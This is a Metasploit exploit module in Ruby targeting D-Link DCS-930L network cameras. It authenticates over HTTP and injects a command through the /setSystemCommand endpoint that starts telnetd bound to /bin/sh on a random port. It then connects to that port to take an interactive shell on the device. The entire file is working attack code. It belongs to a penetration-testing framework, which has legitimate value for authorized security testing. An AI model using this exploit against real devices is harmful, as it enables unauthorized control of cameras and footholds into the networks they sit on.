D-Link DCS-930L Authenticated Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Telnet
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link DCS-930L Authenticated Remote Command Execution',
      'Description' => %q{
        The D-Link DCS-930L Network Video Camera is vulnerable
        to OS Command Injection via the web interface.  The vulnerability
        exists at /setSystemCommand, which is accessible with credentials.
        This vulnerability was present in firmware version 2.01 and fixed
        by 2.12.
      },
      'Author'      =>
        [
          'Nicholas Starke <[email protected]>'
        ],
      'License'         => MSF_LICENSE,
      'DisclosureDate'  => '2015-12-20',
      'Privileged'      => true,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Payload'         =>
        {
          'Compat'  => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find',
          },
        },
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'Targets'        =>
        [
          [  'Automatic',     { } ],
        ],
      'DefaultTarget'  => 0
     ))

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'User to login with', 'admin']),
        OptString.new('HttpPassword', [ false, 'Password to login with', ''])
      ])

    register_advanced_options(
      [
        OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
        OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
      ])
  end

  def telnet_timeout
    (datastore['TelnetTimeout'] || 10)
  end

  def banner_timeout
    (datastore['TelnetBannerTimeout'] || 25)
  end

  def exploit
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword'] || ''

    test_login(user, pass)
    exploit_telnet
  end

  def test_login(user, pass)
    print_status("#{peer} - Trying to login with #{user} : #{pass}")

    res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    })

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200

    print_good("#{peer} - Successful login #{user} : #{pass}")
  end

  def exploit_telnet
    telnet_port = rand(32767) + 32768

    print_status("#{peer} - Telnet Port: #{telnet_port}")

    cmd = "telnetd -p #{telnet_port} -l/bin/sh"

    telnet_request(cmd)

    print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...")
    ctx = { 'Msf' => framework, 'MsfExploit' => self }
    sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })

    if sock.nil?
      fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable")
    end

    add_socket(sock)

    print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...")
    prompt = negotiate_telnet(sock)

    if prompt.nil?
      sock.close
      fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session")
    else
      print_good("#{rhost}:#{telnet_port} - Telnet session successfully established")
    end

    handler(sock)
  end

  def telnet_request(cmd)
    uri = '/setSystemCommand'

    begin
      res = send_request_cgi({
        'uri' => uri,
        'method' => 'POST',
        'vars_post' => {
          'ReplySuccessPage' => 'docmd.htm',
          'ReplyErrorPage' => 'docmd.htm',
          'SystemCommand'  => cmd,
          'ConfigSystemCommand' => 'Save'
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def negotiate_telnet(sock)
    begin
      Timeout.timeout(banner_timeout) do
        while(true)
          data = sock.get_once(-1, telnet_timeout)
          return nil if not data or data.length == 0
          if data =~ /BusyBox/
            return true
          end
        end
      end
    rescue ::Timeout::Error
      return nil
    end
  end
end